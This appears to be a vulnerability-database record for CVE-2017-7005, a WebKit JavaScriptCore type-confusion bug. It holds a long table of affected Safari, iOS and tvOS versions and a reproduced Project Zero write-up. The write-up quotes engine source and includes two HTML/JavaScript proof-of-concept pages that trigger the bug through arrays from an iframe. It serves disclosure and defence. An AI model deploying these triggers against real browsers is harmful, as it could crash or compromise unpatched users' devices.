ID
VAR-E-201706-0097
CVE
| cve_id: | CVE-2017-7005 | Trust: 2.3 |
EDB ID
42188
TITLE
WebKit JSC - JSGlobalObject::haveABadTime Causes Type Confusions - Multiple dos Exploit
Trust: 0.6
DESCRIPTION
WebKit JSC - JSGlobalObject::haveABadTime Causes Type Confusions. CVE-2017-7005 . dos exploit for Multiple platform
Trust: 0.6
AFFECTED PRODUCTS
| vendor: | webkit | model: | jsc | scope: | - | version: | - | Trust: 1.6 |
| vendor: | apple | model: | safari | scope: | eq | version: | 7.1 | Trust: 0.6 |
| vendor: | sony | model: | playstation | scope: | eq | version: | 45.0x | Trust: 0.5 |
| vendor: | webkit | model: | jsc jsglobalobject::haveabadtime type confusion | scope: | - | version: | - | Trust: 0.5 |
| vendor: | apple | model: | webkit | scope: | eq | version: | 0 | Trust: 0.3 |
| vendor: | apple | model: | tvos | scope: | eq | version: | 10.1.1 | Trust: 0.3 |
| vendor: | apple | model: | tvos | scope: | eq | version: | 10.0.1 | Trust: 0.3 |
| vendor: | apple | model: | tvos | scope: | eq | version: | 9.2.2 | Trust: 0.3 |
| vendor: | apple | model: | tvos | scope: | eq | version: | 9.2.1 | Trust: 0.3 |
| vendor: | apple | model: | tvos | scope: | eq | version: | 9.1.1 | Trust: 0.3 |
| vendor: | apple | model: | tvos | scope: | eq | version: | 9.2 | Trust: 0.3 |
| vendor: | apple | model: | tvos | scope: | eq | version: | 9.1 | Trust: 0.3 |
| vendor: | apple | model: | tvos | scope: | eq | version: | 9.0 | Trust: 0.3 |
| vendor: | apple | model: | tvos | scope: | eq | version: | 10.2 | Trust: 0.3 |
| vendor: | apple | model: | tvos | scope: | eq | version: | 10.1 | Trust: 0.3 |
| vendor: | apple | model: | tvos | scope: | eq | version: | 10 | Trust: 0.3 |
| vendor: | apple | model: | safari | scope: | eq | version: | 10.0.1 | Trust: 0.3 |
| vendor: | apple | model: | safari | scope: | eq | version: | 9.1.3 | Trust: 0.3 |
| vendor: | apple | model: | safari | scope: | eq | version: | 9.1.2 | Trust: 0.3 |
| vendor: | apple | model: | safari | scope: | eq | version: | 9.1.1 | Trust: 0.3 |
| vendor: | apple | model: | safari | scope: | eq | version: | 9.0.3 | Trust: 0.3 |
| vendor: | apple | model: | safari | scope: | eq | version: | 9.0.2 | Trust: 0.3 |
| vendor: | apple | model: | safari | scope: | eq | version: | 9.0.1 | Trust: 0.3 |
| vendor: | apple | model: | safari | scope: | eq | version: | 8.0.8 | Trust: 0.3 |
| vendor: | apple | model: | safari | scope: | eq | version: | 8.0.6 | Trust: 0.3 |
| vendor: | apple | model: | safari | scope: | eq | version: | 8.0.5 | Trust: 0.3 |
| vendor: | apple | model: | safari | scope: | eq | version: | 8.0.4 | Trust: 0.3 |
| vendor: | apple | model: | safari | scope: | eq | version: | 8.0.1 | Trust: 0.3 |
| vendor: | apple | model: | safari | scope: | eq | version: | 7.1.8 | Trust: 0.3 |
| vendor: | apple | model: | safari | scope: | eq | version: | 7.1.6 | Trust: 0.3 |
| vendor: | apple | model: | safari | scope: | eq | version: | 7.1.5 | Trust: 0.3 |
| vendor: | apple | model: | safari | scope: | eq | version: | 7.1.4 | Trust: 0.3 |
| vendor: | apple | model: | safari | scope: | eq | version: | 7.1.1 | Trust: 0.3 |
| vendor: | apple | model: | safari | scope: | eq | version: | 7.0.6 | Trust: 0.3 |
| vendor: | apple | model: | safari | scope: | eq | version: | 7.0.3 | Trust: 0.3 |
| vendor: | apple | model: | safari | scope: | eq | version: | 7.0.1 | Trust: 0.3 |
| vendor: | apple | model: | safari | scope: | eq | version: | 6.2.8 | Trust: 0.3 |
| vendor: | apple | model: | safari | scope: | eq | version: | 6.2.6 | Trust: 0.3 |
| vendor: | apple | model: | safari | scope: | eq | version: | 6.2.5 | Trust: 0.3 |
| vendor: | apple | model: | safari | scope: | eq | version: | 6.2.4 | Trust: 0.3 |
| vendor: | apple | model: | safari | scope: | eq | version: | 6.2.1 | Trust: 0.3 |
| vendor: | apple | model: | safari | scope: | eq | version: | 6.1.6 | Trust: 0.3 |
| vendor: | apple | model: | safari | scope: | eq | version: | 6.1.3 | Trust: 0.3 |
| vendor: | apple | model: | safari | scope: | eq | version: | 6.1.1 | Trust: 0.3 |
| vendor: | apple | model: | safari | scope: | eq | version: | 6.0.5 | Trust: 0.3 |
| vendor: | apple | model: | safari | scope: | eq | version: | 6.0.4 | Trust: 0.3 |
| vendor: | apple | model: | safari | scope: | eq | version: | 6.0.3 | Trust: 0.3 |
| vendor: | apple | model: | safari | scope: | eq | version: | 6.0.2 | Trust: 0.3 |
| vendor: | apple | model: | safari | scope: | eq | version: | 6.0.1 | Trust: 0.3 |
| vendor: | apple | model: | safari | scope: | eq | version: | 5.1.10 | Trust: 0.3 |
| vendor: | apple | model: | safari | scope: | eq | version: | 5.1.5 | Trust: 0.3 |
| vendor: | apple | model: | safari | scope: | eq | version: | 5.0.6 | Trust: 0.3 |
| vendor: | apple | model: | safari | scope: | eq | version: | 4.0.4 | Trust: 0.3 |
| vendor: | apple | model: | safari | scope: | eq | version: | 4.0.3 | Trust: 0.3 |
| vendor: | apple | model: | safari | scope: | eq | version: | 4.0.2 | Trust: 0.3 |
| vendor: | apple | model: | safari | scope: | eq | version: | 4.0.1 | Trust: 0.3 |
| vendor: | apple | model: | safari | scope: | eq | version: | 3.1.1 | Trust: 0.3 |
| vendor: | apple | model: | safari | scope: | eq | version: | 2.0.4 | Trust: 0.3 |
| vendor: | apple | model: | safari | scope: | eq | version: | 2.0.3 | Trust: 0.3 |
| vendor: | apple | model: | safari | scope: | eq | version: | 2.0.2 | Trust: 0.3 |
| vendor: | apple | model: | safari | scope: | eq | version: | 2.0.1 | Trust: 0.3 |
| vendor: | apple | model: | safari | scope: | eq | version: | 1.3.2 | Trust: 0.3 |
| vendor: | apple | model: | safari | scope: | eq | version: | 1.3.1 | Trust: 0.3 |
| vendor: | apple | model: | safari | scope: | eq | version: | 1.3 | Trust: 0.3 |
| vendor: | apple | model: | safari | scope: | eq | version: | 1.2.3 | Trust: 0.3 |
| vendor: | apple | model: | safari | scope: | eq | version: | 1.2.2 | Trust: 0.3 |
| vendor: | apple | model: | safari | scope: | eq | version: | 1.2.1 | Trust: 0.3 |
| vendor: | apple | model: | safari | scope: | eq | version: | 1.2 | Trust: 0.3 |
| vendor: | apple | model: | safari | scope: | eq | version: | 1.1 | Trust: 0.3 |
| vendor: | apple | model: | safari | scope: | eq | version: | 9.1 | Trust: 0.3 |
| vendor: | apple | model: | safari | scope: | eq | version: | 9 | Trust: 0.3 |
| vendor: | apple | model: | safari | scope: | eq | version: | 8.0.7 | Trust: 0.3 |
| vendor: | apple | model: | safari | scope: | eq | version: | 8.0.3 | Trust: 0.3 |
| vendor: | apple | model: | safari | scope: | eq | version: | 8.0.2 | Trust: 0.3 |
| vendor: | apple | model: | safari | scope: | eq | version: | 8.0 | Trust: 0.3 |
| vendor: | apple | model: | safari | scope: | eq | version: | 7.1.7 | Trust: 0.3 |
| vendor: | apple | model: | safari | scope: | eq | version: | 7.1.3 | Trust: 0.3 |
| vendor: | apple | model: | safari | scope: | eq | version: | 7.1.2 | Trust: 0.3 |
| vendor: | apple | model: | safari | scope: | eq | version: | 7.0.5 | Trust: 0.3 |
| vendor: | apple | model: | safari | scope: | eq | version: | 7.0.4 | Trust: 0.3 |
| vendor: | apple | model: | safari | scope: | eq | version: | 7.0.2 | Trust: 0.3 |
| vendor: | apple | model: | safari | scope: | eq | version: | 7.0 | Trust: 0.3 |
| vendor: | apple | model: | safari | scope: | eq | version: | 6.2.7 | Trust: 0.3 |
| vendor: | apple | model: | safari | scope: | eq | version: | 6.2.3 | Trust: 0.3 |
| vendor: | apple | model: | safari | scope: | eq | version: | 6.2.2 | Trust: 0.3 |
| vendor: | apple | model: | safari | scope: | eq | version: | 6.2 | Trust: 0.3 |
| vendor: | apple | model: | safari | scope: | eq | version: | 6.1.5 | Trust: 0.3 |
| vendor: | apple | model: | safari | scope: | eq | version: | 6.1.4 | Trust: 0.3 |
| vendor: | apple | model: | safari | scope: | eq | version: | 6.1.2 | Trust: 0.3 |
| vendor: | apple | model: | safari | scope: | eq | version: | 6.1 | Trust: 0.3 |
| vendor: | apple | model: | safari | scope: | eq | version: | 5.1.4 | Trust: 0.3 |
| vendor: | apple | model: | safari | scope: | eq | version: | 5.1.3 | Trust: 0.3 |
| vendor: | apple | model: | safari | scope: | eq | version: | 5.1.2 | Trust: 0.3 |
| vendor: | apple | model: | safari | scope: | eq | version: | 5.1 | Trust: 0.3 |
| vendor: | apple | model: | safari | scope: | eq | version: | 5.0.5 | Trust: 0.3 |
| vendor: | apple | model: | safari | scope: | eq | version: | 5.0.4 | Trust: 0.3 |
| vendor: | apple | model: | safari | scope: | eq | version: | 5.0.3 | Trust: 0.3 |
| vendor: | apple | model: | safari | scope: | eq | version: | 5.0.2 | Trust: 0.3 |
| vendor: | apple | model: | safari | scope: | eq | version: | 5.0.1 | Trust: 0.3 |
| vendor: | apple | model: | safari | scope: | eq | version: | 5.0 | Trust: 0.3 |
| vendor: | apple | model: | safari | scope: | eq | version: | 4.31 | Trust: 0.3 |
| vendor: | apple | model: | safari | scope: | eq | version: | 4.30 | Trust: 0.3 |
| vendor: | apple | model: | safari | scope: | eq | version: | 4.28 | Trust: 0.3 |
| vendor: | apple | model: | safari | scope: | eq | version: | 4.0 | Trust: 0.3 |
| vendor: | apple | model: | safari | scope: | eq | version: | 3.1 | Trust: 0.3 |
| vendor: | apple | model: | safari | scope: | eq | version: | 10.1 | Trust: 0.3 |
| vendor: | apple | model: | safari | scope: | eq | version: | 10.0.3 | Trust: 0.3 |
| vendor: | apple | model: | safari | scope: | eq | version: | 10.0.2 | Trust: 0.3 |
| vendor: | apple | model: | safari | scope: | eq | version: | 10 | Trust: 0.3 |
| vendor: | apple | model: | ipod touch | scope: | eq | version: | 0 | Trust: 0.3 |
| vendor: | apple | model: | iphone | scope: | eq | version: | 0 | Trust: 0.3 |
| vendor: | apple | model: | ipad | scope: | eq | version: | 0 | Trust: 0.3 |
| vendor: | apple | model: | ios | scope: | eq | version: | 50 | Trust: 0.3 |
| vendor: | apple | model: | ios | scope: | eq | version: | 40 | Trust: 0.3 |
| vendor: | apple | model: | ios | scope: | eq | version: | 30 | Trust: 0.3 |
| vendor: | apple | model: | ios | scope: | eq | version: | 10.2.1 | Trust: 0.3 |
| vendor: | apple | model: | ios | scope: | eq | version: | 10.0.1 | Trust: 0.3 |
| vendor: | apple | model: | ios | scope: | eq | version: | 7.2 | Trust: 0.3 |
| vendor: | apple | model: | ios | scope: | eq | version: | 7.0.6 | Trust: 0.3 |
| vendor: | apple | model: | ios | scope: | eq | version: | 7.0.5 | Trust: 0.3 |
| vendor: | apple | model: | ios | scope: | eq | version: | 7.0.3 | Trust: 0.3 |
| vendor: | apple | model: | ios | scope: | eq | version: | 7.0.2 | Trust: 0.3 |
| vendor: | apple | model: | ios | scope: | eq | version: | 7.0.1 | Trust: 0.3 |
| vendor: | apple | model: | ios | scope: | eq | version: | 6.3.1 | Trust: 0.3 |
| vendor: | apple | model: | ios | scope: | eq | version: | 6.1.6 | Trust: 0.3 |
| vendor: | apple | model: | ios | scope: | eq | version: | 6.1.4 | Trust: 0.3 |
| vendor: | apple | model: | ios | scope: | eq | version: | 6.1.3 | Trust: 0.3 |
| vendor: | apple | model: | ios | scope: | eq | version: | 4.2.1 | Trust: 0.3 |
| vendor: | apple | model: | ios | scope: | eq | version: | 4.0.2 | Trust: 0.3 |
| vendor: | apple | model: | ios | scope: | eq | version: | 4.0.1 | Trust: 0.3 |
| vendor: | apple | model: | ios | scope: | eq | version: | 3.2.2 | Trust: 0.3 |
| vendor: | apple | model: | ios | scope: | eq | version: | 3.2.1 | Trust: 0.3 |
| vendor: | apple | model: | ios | scope: | eq | version: | 8.1.1 | Trust: 0.3 |
| vendor: | apple | model: | ios | scope: | eq | version: | 8.1 | Trust: 0.3 |
| vendor: | apple | model: | ios | scope: | eq | version: | 8 | Trust: 0.3 |
| vendor: | apple | model: | ios | scope: | eq | version: | 7.1.2 | Trust: 0.3 |
| vendor: | apple | model: | ios | scope: | eq | version: | 7.1.1 | Trust: 0.3 |
| vendor: | apple | model: | ios | scope: | eq | version: | 7.1 | Trust: 0.3 |
| vendor: | apple | model: | ios | scope: | eq | version: | 7.0.4 | Trust: 0.3 |
| vendor: | apple | model: | ios | scope: | eq | version: | 7 | Trust: 0.3 |
| vendor: | apple | model: | ios | scope: | eq | version: | 6.1 | Trust: 0.3 |
| vendor: | apple | model: | ios | scope: | eq | version: | 6.0.2 | Trust: 0.3 |
| vendor: | apple | model: | ios | scope: | eq | version: | 6.0.1 | Trust: 0.3 |
| vendor: | apple | model: | ios | scope: | eq | version: | 6 | Trust: 0.3 |
| vendor: | apple | model: | ios | scope: | eq | version: | 5.1.1 | Trust: 0.3 |
| vendor: | apple | model: | ios | scope: | eq | version: | 5.1 | Trust: 0.3 |
| vendor: | apple | model: | ios | scope: | eq | version: | 5.0.1 | Trust: 0.3 |
| vendor: | apple | model: | ios | scope: | eq | version: | 5 | Trust: 0.3 |
| vendor: | apple | model: | ios | scope: | eq | version: | 4.3.5 | Trust: 0.3 |
| vendor: | apple | model: | ios | scope: | eq | version: | 4.3.4 | Trust: 0.3 |
| vendor: | apple | model: | ios | scope: | eq | version: | 4.3.3 | Trust: 0.3 |
| vendor: | apple | model: | ios | scope: | eq | version: | 4.3.2 | Trust: 0.3 |
| vendor: | apple | model: | ios | scope: | eq | version: | 4.3.1 | Trust: 0.3 |
| vendor: | apple | model: | ios | scope: | eq | version: | 4.3 | Trust: 0.3 |
| vendor: | apple | model: | ios | scope: | eq | version: | 4.2.9 | Trust: 0.3 |
| vendor: | apple | model: | ios | scope: | eq | version: | 4.2.8 | Trust: 0.3 |
| vendor: | apple | model: | ios | scope: | eq | version: | 4.2.7 | Trust: 0.3 |
| vendor: | apple | model: | ios | scope: | eq | version: | 4.2.6 | Trust: 0.3 |
| vendor: | apple | model: | ios | scope: | eq | version: | 4.2.5 | Trust: 0.3 |
| vendor: | apple | model: | ios | scope: | eq | version: | 4.2.10 | Trust: 0.3 |
| vendor: | apple | model: | ios | scope: | eq | version: | 4.2 | Trust: 0.3 |
| vendor: | apple | model: | ios | scope: | eq | version: | 4.1 | Trust: 0.3 |
| vendor: | apple | model: | ios | scope: | eq | version: | 4 | Trust: 0.3 |
| vendor: | apple | model: | ios | scope: | eq | version: | 3.2 | Trust: 0.3 |
| vendor: | apple | model: | ios | scope: | eq | version: | 3.1 | Trust: 0.3 |
| vendor: | apple | model: | ios | scope: | eq | version: | 3.0 | Trust: 0.3 |
| vendor: | apple | model: | ios | scope: | eq | version: | 2.1 | Trust: 0.3 |
| vendor: | apple | model: | ios | scope: | eq | version: | 2.0 | Trust: 0.3 |
| vendor: | apple | model: | ios | scope: | eq | version: | 10.3.1 | Trust: 0.3 |
| vendor: | apple | model: | ios | scope: | eq | version: | 10.3 | Trust: 0.3 |
| vendor: | apple | model: | ios | scope: | eq | version: | 10.2 | Trust: 0.3 |
| vendor: | apple | model: | ios | scope: | eq | version: | 10.1 | Trust: 0.3 |
| vendor: | apple | model: | ios | scope: | eq | version: | 10 | Trust: 0.3 |
| vendor: | apple | model: | tvos | scope: | ne | version: | 10.2.1 | Trust: 0.3 |
| vendor: | apple | model: | safari | scope: | ne | version: | 10.1.1 | Trust: 0.3 |
| vendor: | apple | model: | ios | scope: | ne | version: | 10.3.2 | Trust: 0.3 |
EXPLOIT
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1208
After JSGlobalObject::haveABadTime is called, the type of all JavaScript arrays(including newly created arrays) are of the same type: ArrayWithSlowPutArrayStorage. But (of course) this only affects objects that share the same JSGlobalObject. So arrays come from another JSGlobalObject can cause type confusions.
void JSGlobalObject::haveABadTime(VM& vm)
{
...
for (unsigned i = 0; i < NumberOfIndexingShapes; ++i)
m_arrayStructureForIndexingShapeDuringAllocation[i].set(vm, this, originalArrayStructureForIndexingType(ArrayWithSlowPutArrayStorage)); <<-- The type of a newly created array will be ArrayWithSlowPutArrayStorage
...
while (!foundObjects.isEmpty()) {
JSObject* object = asObject(foundObjects.last());
foundObjects.removeLast();
ASSERT(hasBrokenIndexing(object));
object->switchToSlowPutArrayStorage(vm); <<------ switch type of an old array
}
}
1. fastSlice:
JSArray* JSArray::fastSlice(ExecState& exec, unsigned startIndex, unsigned count)
{
auto arrayType = indexingType();
switch (arrayType) {
case ArrayWithDouble:
case ArrayWithInt32:
case ArrayWithContiguous: {
VM& vm = exec.vm();
if (count >= MIN_SPARSE_ARRAY_INDEX || structure(vm)->holesMustForwardToPrototype(vm))
return nullptr;
Structure* resultStructure = exec.lexicalGlobalObject()->arrayStructureForIndexingTypeDuringAllocation(arrayType);
JSArray* resultArray = JSArray::tryCreateForInitializationPrivate(vm, resultStructure, count);
if (!resultArray)
return nullptr;
auto& resultButterfly = *resultArray->butterfly();
if (arrayType == ArrayWithDouble)
memcpy(resultButterfly.contiguousDouble().data(), m_butterfly.get()->contiguousDouble().data() + startIndex, sizeof(JSValue) * count);
else
memcpy(resultButterfly.contiguous().data(), m_butterfly.get()->contiguous().data() + startIndex, sizeof(JSValue) * count);
resultButterfly.setPublicLength(count);
return resultArray;
}
default:
return nullptr;
}
}
If |this| came from another JSGlobalObject, and |haveABadTime| was called, the type of |resultArray| will be ArrayWithSlowPutArrayStorage. It will result in a type confusion.
<html>
<body>
<script>
Array.prototype.__defineGetter__(100, () => 1);
let f = document.body.appendChild(document.createElement('iframe'));
let a = new f.contentWindow.Array(2.3023e-320, 2.3023e-320, 2.3023e-320, 2.3023e-320, 2.3023e-320, 2.3023e-320);
let c = Array.prototype.slice.call(a);
alert(c);
</script>
</body>
</html>
2. arrayProtoPrivateFuncConcatMemcpy
EncodedJSValue JSC_HOST_CALL arrayProtoPrivateFuncConcatMemcpy(ExecState* exec)
{
...
JSArray* firstArray = jsCast<JSArray*>(exec->uncheckedArgument(0));
...
IndexingType type = firstArray->mergeIndexingTypeForCopying(secondType);
...
Structure* resultStructure = exec->lexicalGlobalObject()->arrayStructureForIndexingTypeDuringAllocation(type);
JSArray* result = JSArray::tryCreateForInitializationPrivate(vm, resultStructure, firstArraySize + secondArraySize);
if (!result)
return JSValue::encode(throwOutOfMemoryError(exec, scope));
if (type == ArrayWithDouble) {
double* buffer = result->butterfly()->contiguousDouble().data();
memcpy(buffer, firstButterfly->contiguousDouble().data(), sizeof(JSValue) * firstArraySize);
memcpy(buffer + firstArraySize, secondButterfly->contiguousDouble().data(), sizeof(JSValue) * secondArraySize);
} else if (type != ArrayWithUndecided) {
WriteBarrier<Unknown>* buffer = result->butterfly()->contiguous().data();
memcpy(buffer, firstButterfly->contiguous().data(), sizeof(JSValue) * firstArraySize);
if (secondType != ArrayWithUndecided)
memcpy(buffer + firstArraySize, secondButterfly->contiguous().data(), sizeof(JSValue) * secondArraySize);
else {
for (unsigned i = secondArraySize; i--;)
buffer[i + firstArraySize].clear();
}
}
result->butterfly()->setPublicLength(firstArraySize + secondArraySize);
return JSValue::encode(result);
}
If |firstArray| came from another JSGlobalObject, and |haveABadTime| was called, the type of |result| will be ArrayWithSlowPutArrayStorage. It will result in a type confusion.
PoC:
-->
<html>
<body>
<script>
Array.prototype.__defineGetter__(100, () => 1);
let f = document.body.appendChild(document.createElement('iframe'));
let a = new f.contentWindow.Array(2.3023e-320, 2.3023e-320);
let b = new f.contentWindow.Array(2.3023e-320, 2.3023e-320);
let c = Array.prototype.concat.call(a, b);
alert(c);
</script>
</body>
</html>
Trust: 1.0
EXPLOIT LANGUAGE
html
Trust: 0.6
PRICE
free
Trust: 0.6
TYPE
JSGlobalObject::haveABadTime Causes Type Confusions
Trust: 1.6
TAGS
| tag: | exploit | Trust: 1.0 |
| tag: | Type Confusion | Trust: 1.0 |
| tag: | code execution | Trust: 0.5 |
| tag: | proof of concept | Trust: 0.5 |
CREDITS
Google Security Research
Trust: 0.6
EXTERNAL IDS
| db: | NVD | id: | CVE-2017-7005 | Trust: 2.3 |
| db: | EXPLOIT-DB | id: | 42188 | Trust: 1.6 |
| db: | EDBNET | id: | 93216 | Trust: 0.6 |
| db: | PACKETSTORM | id: | 146596 | Trust: 0.5 |
| db: | PACKETSTORM | id: | 142968 | Trust: 0.5 |
| db: | BID | id: | 99115 | Trust: 0.3 |
REFERENCES
| url: | https://nvd.nist.gov/vuln/detail/cve-2017-7005 | Trust: 2.0 |
| url: | https://bugs.chromium.org/p/project-zero/issues/detail?id=1208 | Trust: 1.0 |
| url: | https://www.exploit-db.com/exploits/42188/ | Trust: 0.6 |
| url: | https://www.apple.com/ | Trust: 0.3 |
| url: | https://support.apple.com/en-us/ht207798 | Trust: 0.3 |
| url: | https://support.apple.com/en-us/ht207804 | Trust: 0.3 |
| url: | https://support.apple.com/en-us/ht207801 | Trust: 0.3 |
SOURCES
| db: | BID | id: | 99115 |
| db: | PACKETSTORM | id: | 146596 |
| db: | PACKETSTORM | id: | 142968 |
| db: | EXPLOIT-DB | id: | 42188 |
| db: | EDBNET | id: | 93216 |
LAST UPDATE DATE
2022-07-27T09:32:25.185000+00:00
SOURCES UPDATE DATE
| db: | BID | id: | 99115 | date: | 2017-06-09T00:00:00 |
SOURCES RELEASE DATE
| db: | BID | id: | 99115 | date: | 2017-06-09T00:00:00 |
| db: | PACKETSTORM | id: | 146596 | date: | 2018-02-27T09:22:22 |
| db: | PACKETSTORM | id: | 142968 | date: | 2017-06-15T23:44:48 |
| db: | EXPLOIT-DB | id: | 42188 | date: | 2017-06-16T00:00:00 |
| db: | EDBNET | id: | 93216 | date: | 2017-06-16T00:00:00 |